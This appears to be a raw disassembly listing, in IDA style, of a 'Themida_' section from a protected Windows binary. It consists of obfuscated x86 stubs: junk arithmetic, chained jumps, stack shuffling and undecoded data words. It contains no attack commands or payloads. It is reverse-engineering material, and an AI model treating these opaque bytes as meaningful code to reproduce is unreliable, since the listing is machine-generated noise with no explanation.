		add	eax, ebp
		pop	ebp
		jmp	loc_54D10F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8B2434FFh, 0C483240Ch, 78E95304h, 89FFFFDDh,	4BE56E5h
		dd 1000000h, 0E9525EF5h, 9EB7h,	52E9CAFEh, 54000013h, 86B8505Dh
		dd 40272329h, 0FFDAFEE9h
		db 0FFh
byte_546D81	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054463Co
		dd 5624048Bh, 0C681E689h, 4, 4BF57h, 0FE010000h, 2434875Fh
		dd 72A6685Ch, 14890000h, 81E28924h, 4C2h, 4B85000h, 1000000h
		dd 24048BC2h, 6804C483h, 5C2Fh,	0FF241489h, 8B042474h
		dd 0C4832414h, 24048F04h, 8A39E95Ch
		db 2 dup(0)
word_546DD6	dw 8B66h		; DATA XREF: Themida_:00544458o
		dd 8950240Ch, 405E0h, 47E90000h, 89000088h, 65E9240Ch
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546DEF:				; CODE XREF: Themida_:0054A054j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 693F002Bh
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54E89A
; ---------------------------------------------------------------------------


loc_546E07:				; CODE XREF: Themida_:0054ED44j
		push	dword ptr [esp]
		jmp	loc_546FF6
; ---------------------------------------------------------------------------
		db 81h
		dd 745BC1F5h, 7E5C12Ah,	2F2CF581h, 81457BF8h, 87590EC5h
		dd 0FDC58119h, 89612A85h, 0C2815DEAh, 0AAE47E6h, 0EA81FA01h
		dd 0AAE47E6h, 3DB8505Fh, 0E91D2479h, 9CA7h
; ---------------------------------------------------------------------------


loc_546E48:				; CODE XREF: Themida_:0054531Fj
		pop	ecx
		dec	ebx
		push	eax
		mov	eax, 7A931CBEh
		neg	eax
		push	edi
		jmp	loc_548B9A
; ---------------------------------------------------------------------------


loc_546E58:				; CODE XREF: Themida_:0054E37Cj
		pop	eax
		jmp	loc_548C0A
; ---------------------------------------------------------------------------


loc_546E5E:				; CODE XREF: Themida_:0054F6EDj
		sub	dword ptr [esp+4], 695B3C66h
		push	eax
		jmp	loc_550D32
; ---------------------------------------------------------------------------
		dd 221068h, 24348900h, 0E3FE9h,	0C88EB800h, 14E9EFBFh
		dd 54000042h, 81241C8Bh, 4C4h, 4C38100h, 83000000h, 0FF5304EBh
		dd 0E9042474h, 3EA7h, 0C1FFEF83h, 226807E7h, 0E9000065h
		dd 5112h, 66565366h, 667E92BEh,	0DEF76646h, 55F68166h
		dd 0EE816655h, 81663E5Dh, 666CBCC6h, 0E95EF389h, 21E8h
		dd 0E959EA88h, 1D47h, 0C681E689h, 4, 51C4E9h, 24C18100h
		dd 89406452h, 240C8BCBh, 4C481h, 83430000h, 3C8904ECh
		dd 4C18BF24h, 0C3811ED9h, 4A3D4868h, 1B7C381h, 68E9764Ah
		dd 29FFFFDFh, 0C0C181E9h, 5D391D79h, 4051C181h,	0BA521E80h
		dd 7D933982h, 0BDE9D121h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546F33:				; CODE XREF: Themida_:0054791Dj
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5458DC
; ---------------------------------------------------------------------------


loc_546F3D:				; CODE XREF: Themida_:0055048Bj
		mov	edi, 506319BFh
		shr	edi, 5
		xor	edi, 1C3B69F2h
		sub	edi, 213873CEh
		sub	edi, 0A8B19B2Fh
		sub	dword ptr [esp+4], 3CEA301Fh
		sub	[esp+4], edi
		add	dword ptr [esp+4], 3CEA301Fh
		pop	edi
		pop	ecx
		push	ebx
		push	edx
		jmp	loc_54F5F2
; ---------------------------------------------------------------------------
		dd 0F8CCE958h, 8B54FFFFh, 0C4832414h, 4C28104h,	50000000h
		dd 7A57E9h, 9ABD5500h, 15C1015h, 8F665DEBh, 1FA5E900h
		dd 56500000h, 8D3032BEh, 81E6D159h, 0E7005BEEh,	0C6814E19h
		dd 512C091Bh, 5B95146h,	299B19EAh, 11F0E9CEh, 34870000h
		dd 0E585E924h, 166FFFFh, 31665AD1h, 0A3E9E9C8h,	14890000h
		dd 0E9E28924h, 5A46h
; ---------------------------------------------------------------------------


loc_546FE0:				; CODE XREF: Themida_:0054CD9Bj
		add	eax, ebx
		pop	ebx
		jmp	loc_54CA3D
; ---------------------------------------------------------------------------


loc_546FE8:				; CODE XREF: Themida_:005473CEj
		dec	ebp
		xor	ebp, 2893C2ADh
		dec	ebp
		push	eax
		jmp	loc_54F49E
; ---------------------------------------------------------------------------


loc_546FF6:				; CODE XREF: Themida_:00546E0Aj
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_549649
; ---------------------------------------------------------------------------
		dd 5BE9DF01h, 87000002h, 6EF468EBh, 0C890000h, 69F3B924h
		dd 0C181032Eh, 1BBB27E8h, 578E9h, 0E9DA8700h, 0FFFFF4E5h
		dd 0CA0AF181h, 0CA01B613h, 83240C8Bh, 0EB8104C4h, 2229196Fh
		dd 0C381D301h, 2229196Fh, 0E924148Bh, 2DDh, 3AA5C381h
		dd 0CB81227Ch, 11AA515Bh, 5731F381h, 0DD31818Dh, 5DE8295Bh
		dd 83241C8Bh, 0BF5704C4h, 339B5363h, 44F7814Fh,	0F70D2F2Eh
		dd 0DFF747D7h, 0DED0E950h, 0DF29FFFFh, 243C875Bh, 4EA4E9h
		dd 243C8900h, 0C781E789h, 4, 286EE955h
		db 2 dup(0)
word_5470A6	dw 68h			; DATA XREF: Themida_:005443F0o
		dd 0FF000000h, 4EE92434h, 80000064h, 0C380A8EBh, 80C328C7h
		dd 0FF68C7EBh, 8900001Fh, 5253240Ch, 0D388ACB2h, 27C3805Ah
		dd 8008E3C0h, 5052F9C3h, 88DE8852h, 24148BF0h, 0E904C483h
		dd 25F6h, 74FF535Dh, 98E90424h,	55000048h, 6C33E952h, 0E95E0000h
		dd 51AAh, 4AC78059h, 9BD5E9h, 0E9595A00h, 3A87h, 0D591E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547116:				; CODE XREF: Themida_:005453CFj
		pop	esi
		not	ebp
		inc	ebp
		add	ebp, 609C2EFAh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1BCF601h
		jmp	loc_549931
; ---------------------------------------------------------------------------
dword_547130	dd 0E92C77FFh, 0FFFFD56Fh, 0E95EF531h, 7B74h, 8DCCE95Fh
					; DATA XREF: Themida_:00544528o
		dd 0F6810000h, 68637557h, 0FFF308E9h, 4C483FFh,	33242C31h
		dd 2C31242Ch, 0D7DBE924h, 0F581FFFFh, 38BC00E2h, 97B9E9h
		dd 44686600h, 0D82EE93Eh, 0CF89FFFFh, 6E7C159h,	6A72BA52h
		dd 0CA813E99h, 5E3100CAh, 6A25F281h, 0EA816AE3h, 2C361FA7h
		dd 8106EAC1h, 4D6E0ACAh, 9F2816Ah, 0E923B9D3h, 22Bh, 4C6815Eh
		dd 50000000h, 11CBE9h, 24148B00h, 0E904C483h, 0FFFFF173h
		dd 0D788CA88h, 5958595Ah, 2DFAE9h, 2B900h, 56E90000h, 6600004Dh
		dd 83240C89h, 0DE904ECh
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5471E3:				; CODE XREF: Themida_:0054DA64j
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	ebx
		jmp	loc_547E97
; ---------------------------------------------------------------------------
		dd offset loc_411A65+3
		align 2
		dw 0B7E9h
		dd 1000006h, 1DC681D6h,	813E3814h, 0D71DAEC6h, 0C6835A64h
		dd 24348702h, 78AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_547215:				; CODE XREF: Themida_:0054BC0Fj
		pop	esp
		jmp	loc_54BA8D
; ---------------------------------------------------------------------------


loc_54721B:				; CODE XREF: Themida_:00548C1Ej
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		add	[ebx], edx
		jmp	loc_546AE8
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 56BD5524h, 89474E2Eh, 0EBC15DEBh
		dd 6E3C105h, 0F381DBF7h, 1F25376Eh, 1C0AE9h, 99CE8100h
		dd 814D3A75h, 0E905C2F6h, 39F68131h, 29CE16F8h,	131AE9F0h
		dd 835B0000h, 3C8704EFh, 1C895C24h, 0E95B5424h,	0FB1h
; ---------------------------------------------------------------------------


loc_54727C:				; CODE XREF: Themida_:00544B97j
		neg	ebx
		inc	ebx
		jmp	loc_54C732
; ---------------------------------------------------------------------------


loc_547284:				; CODE XREF: Themida_:005477AAj
		sub	edi, ebp
		pop	ebp
		jmp	loc_54DD12
; ---------------------------------------------------------------------------
a1Sp		db '1Ðé~',0
		dw 8100h
		dd 0D1FB5CC6h, 5EF03126h, 32F7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5472A1:				; CODE XREF: Themida_:00547B25j
		pop	ebx
		sub	ch, ah
		pop	eax
		jmp	loc_5484CE
; ---------------------------------------------------------------------------


loc_5472AA:				; CODE XREF: Themida_:0054F705j
		jmp	loc_5446A7
; ---------------------------------------------------------------------------
		db 50h
		dd 1FE93BB4h, 8900005Ch, 4EC81E5h, 89000000h, 89E9243Ch
		dd 81000028h, 2147B2CDh, 5415E956h, 0D0E90000h,	1FFFFD3h
		dd 4875DE8h, 34FF5C24h,	0E9525824h, 3B56h, 4EC8150h, 89000000h
		dd 4812424h, 424h, 0BE565800h, 4, 815EF001h, 4ECh, 7DBAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54730E:				; CODE XREF: Themida_:00549D14j
		add	bh, 9Bh
		not	bh
		or	bh, 57h
		jmp	loc_547B1D
; ---------------------------------------------------------------------------
byte_54731B	db 8Bh			; DATA XREF: Themida_:0054447Co
		dd 0E9562404h, 0FFFFD657h, 0FF2345BAh, 0EAD14A5Ah, 4B75E9h
		dd 4C48100h, 83000000h,	1C8702C3h, 24248B24h, 24048B66h
		dd 68E5E956h, 34330000h, 24248B24h, 614E9h, 0D34DE900h
		dd 0D388FFFFh, 0FFDFFEE9h, 697668FFh, 2C890000h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 24895C24h, 24048324h, 3C39E904h
		dd 0F9870000h, 1C781h, 0F9870000h, 0E05EE981h, 0CB01A6F5h
		dd 241C3359h, 33241C31h, 0E95C241Ch, 4542h
; ---------------------------------------------------------------------------


loc_5473A8:				; CODE XREF: Themida_:00548A3Aj
		push	ebp
		mov	ebp, 4
		push	esi
		mov	esi, 3688724Bh
		dec	esi
		xor	esi, 4EA34373h
		add	edx, esi
		jmp	loc_548172
; ---------------------------------------------------------------------------


loc_5473C2:				; CODE XREF: Themida_:005502AEj
		sub	ebp, 61605108h
		add	ebp, 404D58B5h
		jmp	loc_546FE8
; ---------------------------------------------------------------------------
		db 29h
		dd 0DFF75AD7h, 7F24E781h, 0DFF743ECh, 0EEF8F781h, 0F901FF33h
		dd 240C875Fh, 0B4FE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5473F2:				; CODE XREF: Themida_:0054C0EBj
		pop	ecx
		dec	esi
		sub	esi, 4DBF408Ah
		sub	esi, 381D596Bh
		xor	esi, 87D09519h
		mov	ebp, esi
		pop	esi
		jmp	loc_54CA1E
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 24AD0C50h, 4A76E281h, 0A5E90F6Dh, 8100007Fh,	0BD6153C6h
		dd 4EEC179h, 6B2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54742D:				; CODE XREF: Themida_:0054F21Aj
		pop	esp
		push	ecx
		mov	ecx, 362C7927h
		sub	ecx, 6BE81DF2h
		not	ecx
		dec	ecx
		push	edx
		mov	edx, 5B076EDCh
		neg	edx
		jmp	loc_54679E
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E9DEF706h, 4566h
; ---------------------------------------------------------------------------


loc_547454:				; CODE XREF: Themida_:00546AC4j
		push	eax
		jmp	loc_5446EB
; ---------------------------------------------------------------------------


loc_54745A:				; CODE XREF: Themida_:0054D5E1j
		mov	ah, 54h
		jmp	loc_54DFD3
; ---------------------------------------------------------------------------
		db 5, 6Ch, 79h
		dd 0F00100E5h, 558A68h,	242C8900h, 257969BDh, 3EDC116h
		dd 46E9D5F7h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54747F:				; CODE XREF: Themida_:005461ADj
		push	ebp
		jmp	loc_546BDF
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0E6h
		dd 0C1552223h, 0C98107E9h, 57106FEh, 8923E9h, 0E9E18800h
		dd 66FAh, 2404875Dh, 8851535Ch,	0CC8850C1h, 52E18851h
		dd 0FFFD0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5474B5:				; CODE XREF: Themida_:0054A98Bj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54B7AF
; ---------------------------------------------------------------------------


loc_5474C3:				; CODE XREF: Themida_:00545B98j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_54CFD0
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 6624248Bh, 68240C8Bh, 62B4h,	83240489h, 248904ECh, 6939E924h
		db 2 dup(0)
word_5474EE	dw 48Bh			; DATA XREF: Themida_:00544578o
aHQ		db '$hÅQ',0
		align 2
		dw 1489h
aSI		db '$é<‰',0
		align 2


loc_5474FE:				; CODE XREF: Themida_:0054937Fj
		push	edx
		mov	edx, esp
		jmp	loc_550EB9
; ---------------------------------------------------------------------------
		dw 489h
aAP		db '$´>€ÃP',0
		db 0E3h
		dd 8B50EB80h, 0C4832404h, 50C30004h, 0D8F697B0h, 78E9D504h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547527:				; CODE XREF: Themida_:00550B3Cj
		mov	al, 0F5h
		inc	al
		xor	al, 0C4h
		jmp	loc_54F5E7
; ---------------------------------------------------------------------------


loc_547532:				; CODE XREF: Themida_:0054E8A1j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 6DCD035Ch
		add	edx, 411E5FDCh
		xor	edx, 26D25D91h
		jmp	loc_5455F7
; ---------------------------------------------------------------------------
byte_547555	db 66h,	8Bh, 4		; DATA XREF: Themida_:00544608o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7E5B2837h
		sub	ecx, 560F657Ah
		xor	ecx, 72506813h
		sub	ecx, 5A1BAAAAh
		jmp	loc_5462CE
; ---------------------------------------------------------------------------
byte_547579	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00544604o
		db '$h#+',0
		align 2
		dw 489h
		dd 48B5424h, 4C48124h, 57000000h, 0CF6F36BFh, 0BB53474Eh
		dd 217A1334h, 0FFE462E9h, 1C181FFh, 0E952A553h,	8F9Fh
; ---------------------------------------------------------------------------


loc_5475AC:				; CODE XREF: Themida_:0054B6A0j
		mov	esi, 46C02724h
		jmp	loc_54BCB3
; ---------------------------------------------------------------------------


loc_5475B6:				; CODE XREF: Themida_:0054AF59j
		add	dl, ah
		pop	eax
		shl	dl, 4
		jmp	loc_54C21B
; ---------------------------------------------------------------------------


loc_5475C1:				; CODE XREF: Themida_:005509CBj
		xor	ebp, edx
		pop	edx
		or	ebp, 43CC447Eh
		sub	ebp, 0F7ED6DFDh
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edi
		jmp	loc_5462B7
; ---------------------------------------------------------------------------
		dd 515BDE01h, 0FFFBE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5475E5:				; CODE XREF: Themida_:0054CD09j
		pop	ax
		push	ecx
		inc	byte ptr [esp+1]
		pop	ecx
		push	edx
		mov	dh, 51h
		sub	dh, 0E2h
		neg	dh
		jmp	loc_547EF2
; ---------------------------------------------------------------------------
		dw 0A30Fh
		dd 0E99C2404h, 8C88h
; ---------------------------------------------------------------------------


loc_547604:				; CODE XREF: Themida_:0054A9DEj
		sub	bl, al
		pop	eax
		sub	bl, ch
		push	ecx
		push	ebx
		jmp	loc_54A5C0
; ---------------------------------------------------------------------------
		dd 0CCFEC4FEh, 28BDC480h, 0D88858E3h, 0DF17E95Bh, 74FFFFFFh
		dd 4CE90424h, 0BB00009Bh, 7E331FEFh, 1FEBF381h,	0DF297E33h
		dd 243C875Bh, 475FE9h, 4C48300h, 89CD8955h, 2D595DEAh
		dd 6D493A2Eh, 0D272612Dh, 5D02915h, 15D27261h, 5CBD5557h
		dd 56111012h, 0C073A0BEh, 6F6812Ch, 21359F53h, 0C5815EF5h
		dd 5C393A2Ah, 15DEF89h,	243C8BF8h, 5FAAE9h, 0C1D2F700h
		dd 814204EAh, 0FAAD3C2h, 14F2E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547696:				; CODE XREF: Themida_:0054797Ej
		add	eax, 436F2271h
		add	eax, ecx
		jmp	loc_54EA0A
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 2CD35C24h, 0F8E99C24h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5476AF:				; CODE XREF: Themida_:0054C1DEj
		mov	esi, esp
		push	eax
		mov	eax, 657234B3h
		or	eax, 3FC52B9Eh
		push	ebx
		mov	ebx, 0B7E4B1Ch
		sub	ebx, 365F27E8h
		or	ebx, 0AEC510Eh
		jmp	loc_545AC4
; ---------------------------------------------------------------------------
		db 89h
		dd 8BB1240Ch, 8957D1F6h, 4C781E7h, 83000000h, 0F4E904EFh
		dd 81000078h, 9B772AE9h, 0E9CB2990h, 51F2h, 99BF575Eh
		dd 57147A49h, 141A24BFh, 5FFD2966h, 0C581FD01h,	66141A24h
		dd 81243C8Bh, 4C4h, 15BD5500h, 5742CE72h, 3A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_547725:				; CODE XREF: Themida_:00547DA2j
					; Themida_:loc_54B0FDj	...
		push	dword ptr [esp]
		jmp	loc_54C84F
; ---------------------------------------------------------------------------
		db 5Bh,	59h, 0E9h
		dd 11D5h, 8141D1F7h, 88CB57E9h,	59CD011Fh, 1C75E9h, 66D32800h
		dd 5AEB805Ah, 0E958EB80h, 45FBh, 4C481h, 48E90000h, 81FFFFCFh
		dd 4C2h, 24148700h, 24048F5Ch, 8B24248Bh, 0F6E92404h, 9000006h
		dd 0E9591C4Fh, 46Bh, 81D5F75Dh,	5ABB98F5h, 5DEA8997h, 5434E9h
		db 0
; ---------------------------------------------------------------------------


loc_547791:				; CODE XREF: Themida_:00550B96j
		mov	ecx, 57A16F0h
		jmp	loc_54B400
; ---------------------------------------------------------------------------


loc_54779B:				; CODE XREF: Themida_:00546799j
		pop	eax
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 56242A5Bh
		jmp	loc_547284
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 4EC8304h, 89241489h, 0BB5350E2h,	60580E28h
		dd 6E57BD55h, 0EB01CEEBh, 8BD8895Dh, 0CFE9241Ch, 0F7FFFFD0h
		dd 0EB0FE9D3h, 895CFFFFh, 74FF2434h, 0C2E90424h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5477EB:				; CODE XREF: Themida_:005500EFj
		add	eax, ebx
		pop	ebx
		jmp	loc_54C47C
; ---------------------------------------------------------------------------


loc_5477F3:				; CODE XREF: Themida_:005486CDj
		mov	cl, 7Eh
		jmp	loc_54CD72
; ---------------------------------------------------------------------------
		dw 0E2C1h
		dd 7CB95104h, 29C29748h, 0D30159CAh, 5A2434FFh,	81E78957h
		dd 4C7h, 4C78300h, 5C243C87h, 0E9h, 4EC8300h, 0BD242C89h
		dd 2, 0FFD2AFE9h, 0C14158FFh, 0AEE908E9h, 80FFFFF6h, 0FA208AEFh
		dd 0E9CA865Bh, 0FFFFF479h
; ---------------------------------------------------------------------------


loc_547848:				; CODE XREF: Themida_:0054D690j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54D600
; ---------------------------------------------------------------------------
		db 58h
		dd 88D48850h, 505A58E1h, 0FFCEBCE9h, 24048FFFh,	7576E9h
		dd 52D80100h, 536D5EBAh, 0EA814272h, 0FF96502h,	0DBE9DAF7h
		dd 4900004Ah, 0FFFEAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547885:				; CODE XREF: Themida_:0054A1E0j
		mov	edi, 61341822h
		add	edi, 64C16F76h
		shl	edi, 8
		xor	edi, 0D8488DE1h
		add	esi, edi
		jmp	loc_54A104
; ---------------------------------------------------------------------------
		dd 13ED80h, 6E0DE9E5h
		db 2 dup(0)
word_5478AA	dw 34FFh		; DATA XREF: Themida_:005444B0o
		dd 0FEFDE924h, 1C89FFFFh, 0D89FE924h, 0D3F7FFFFh, 4599E9h
		dd 0C4835A00h, 24048F04h, 8850535Ch, 0CDF6E9D4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5478D2:				; CODE XREF: Themida_:0054C03Aj
		add	esp, 4
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_545324
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 425B2087h, 0D5F7EB87h, 0FFF71AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5478F5:				; CODE XREF: Themida_:0054F889j
		or	eax, eax
		jnz	loc_54AF9D
		push	esi
		mov	esi, 54AC4010h
		or	esi, 1EAD0903h
		jmp	loc_5457F5
; ---------------------------------------------------------------------------
		dw 489h
		dd 4B824h, 0E9500000h, 26A1h
; ---------------------------------------------------------------------------


loc_54791C:				; CODE XREF: Themida_:0054FA32j
		pop	esp
		jmp	loc_546F33
; ---------------------------------------------------------------------------
		dw 0E1F7h
		dd offset dword_4D8154+14h
		dd 24148900h, 74E99C50h, 68FFFFCDh, 761Ah, 0E9241C89h
		dd 2628h
; ---------------------------------------------------------------------------


loc_547940:				; CODE XREF: Themida_:0054D06Cj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_54E0FA
; ---------------------------------------------------------------------------


loc_54794E:				; CODE XREF: Themida_:0054FF27j
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		mov	ecx, 1B7E16F6h
		mov	ebp, 1B7E16FAh
		sub	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_54EF7B
; ---------------------------------------------------------------------------
		db 0D3h, 4, 24h
		dd 0CD35E99Ch, 0C481FFFFh, 4, 0FFCD2AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54797D:				; CODE XREF: Themida_:0054BCBBj
		pop	esi
		jmp	loc_547696
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 4BEh, 74160500h, 532D38E5h,	1072F7Eh
		dd 7E5305F0h, 162D072Fh, 8B38E574h, 54E92434h, 5C000017h
		dd 5606E952h, 4B80000h,	51000000h, 5C36A1B9h, 59CD0170h
		dd 0B07C581h, 0C5015D0Bh, 0B07ED81h, 0ED815D0Bh, 705C36A1h
		dd 242C3358h, 33242C31h, 248B242Ch, 0EC815624h,	4, 0B9240C89h
		dd 678E76A1h, 5559CE89h, 0FFE307E9h, 59CA01FFh,	5B0EEA81h
		dd 0C283410Eh, 0DAF74A01h, 0BB53EAD1h, 0B211D49h, 34FFDA31h
		dd 71DCE924h, 0B6520000h, 0E1EE80CAh, 2DA0E9h, 0BF575A00h
		dd 7B180C80h, 94F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_547A35:				; CODE XREF: Themida_:00546C3Bj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_544F06
; ---------------------------------------------------------------------------
		dw 5657h
		dd 6D69E6BEh, 5EE68160h, 0C16D2D3Dh, 9EE904E6h,	59000030h
		dd 4C481h, 0A22C0000h, 514AB652h, 0E1C020B1h, 0FED1F606h
		dd 2E1C0C9h, 2874E980h,	0EE0459CEh, 0EE2CF028h,	4D8005Ah
		dd 46E952C6h, 5A000054h, 654E9h, 4C58300h, 5C242C87h, 4C781h
		dd 3C870000h, 24248B24h, 0FFCC06E9h
		db 0FFh
byte_547AA1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005444E0o
		dd 2A76E9h, 114E2D00h, 0AAE97518h
		db 0D9h, 2 dup(0FFh)
byte_547AB3	db 66h			; DATA XREF: Themida_:00544500o
		dd 56240C8Bh, 5152E689h, 465CC0B9h, 4E9C137h, 0FFDD9BE9h
		dd 674FBFFFh, 7EE90C8Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547AD3:				; CODE XREF: Themida_:00545E3Dj
		push	edi
		mov	edi, 1E2D4A6Dh
		neg	edi
		jmp	loc_548F78
; ---------------------------------------------------------------------------


loc_547AE0:				; CODE XREF: Themida_:0054F579j
		mov	[esp], ebx
		mov	ebx, 2D4A58C2h
		and	ebx, 6105C44h
		shl	ebx, 7
		dec	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_551258
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 1000000h, 8104244Ch, 0AA04246Ch, 59399558h
		dd 0FFCB8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547B1D:				; CODE XREF: Themida_:00547316j
		sub	bh, 2Ah
		add	bh, 80h
		xor	ah, bh
		jmp	loc_5472A1
; ---------------------------------------------------------------------------
a_su		db '_éî|',0
		align 10h
		dd 6B73BE56h, 0F5211EEEh, 4F2AE9h
		db 0
; ---------------------------------------------------------------------------


loc_547B3D:				; CODE XREF: Themida_:0054DD42j
		pop	ebp
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_549B63
; ---------------------------------------------------------------------------


loc_547B50:				; CODE XREF: Themida_:005505FBj
		add	dword ptr [esp], 465216C8h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, 25184564h
		jmp	loc_54FDDF
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 6
		dd 475EE281h, 0B951554Dh, 349A037Ch, 4470C981h,	0C1812D49h
		dd 2773D76Fh, 5159CA21h, 0D64C48B9h, 3BE98123h,	0E94C0219h
		dd 69B8h
; ---------------------------------------------------------------------------


loc_547BA0:				; CODE XREF: Themida_:00546502j
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_545D65
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFCADBh
; ---------------------------------------------------------------------------


loc_547BCC:				; CODE XREF: Themida_:00544A3Bj
		shl	ecx, 3
		push	esi
		jmp	loc_54A6B0
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0BBh
		dd 0E99C2404h, 0FFFFCAC7h, 4C681h, 7EE90000h, 0E9000072h
		dd 0FFFFCAB7h, 24048F5Eh, 242C895Ch, 0C5815D54h, 4, 8904EC83h
		dd 2BA2414h, 29000000h,	24148BD5h, 0FFEFFEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547C15:				; CODE XREF: Themida_:00545062j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54C939
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 0F30ADCh, 15EF029h, 0E078E9C2h, 0C783FFFFh, 37F781FFh
		dd 295199BDh, 0EA815FFAh, 31741689h, 4201E9h
		db 0
; ---------------------------------------------------------------------------


loc_547C4D:				; CODE XREF: Themida_:0054D83Bj
		sub	ebp, 95733E5h
		sub	ebp, 71D12F2Bh
		add	ebp, 2C5E6F9Eh
		jmp	loc_54DD40
; ---------------------------------------------------------------------------
		dd 66D5005Bh, 83C5FE5Ah, 148904ECh, 2043B224h, 0B3535AD5h
		dd 0FEDBF6EEh, 5FE380C3h, 0FFD201E9h, 4B9FFh, 0CE890000h
		dd 49B9E9h, 33E28100h, 4A085B4Dh, 5F67EA81h, 0F2817A19h
		dd 0EB38A493h, 0C0E9D389h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547CAB:				; CODE XREF: Themida_:005481ADj
		mov	ecx, esp
		jmp	loc_544D60
; ---------------------------------------------------------------------------
aSn3		db '\é3',0
		align 4
		dd 0A44169BEh, 8EEC143h, 0D2F7D687h, 0EE81D687h, 77340CE0h
		dd 331EF681h, 0F721C3C6h, 3EEF815Eh, 1480C04h, 243C8BF8h
		dd 0E904C483h, 3A70h
; ---------------------------------------------------------------------------


loc_547CE8:				; CODE XREF: Themida_:0054DBFEj
		mov	[esp], edi
		jmp	loc_550117
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFDA83h, 4BFh, 5FFE0100h, 8702EE83h
		dd 0E3E92434h, 81000040h, 66D8AEEEh, 5EF18947h,	0E3AF181h
		dd 0D1E9667Eh, 81FFFFD0h, 0DE0473EEh, 5EF20167h, 8704C283h
		dd 565C2414h, 970C32BEh, 0E9F30174h, 0FFFFCE77h
; ---------------------------------------------------------------------------


loc_547D3C:				; CODE XREF: Themida_:0054DC05j
		pop	ebp
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	6566h
		mov	[esp], edx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	ebx
		push	ebx
		jmp	loc_54EA66
; ---------------------------------------------------------------------------


loc_547D60:				; CODE XREF: Themida_:00546CE4j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_544E3F
; ---------------------------------------------------------------------------
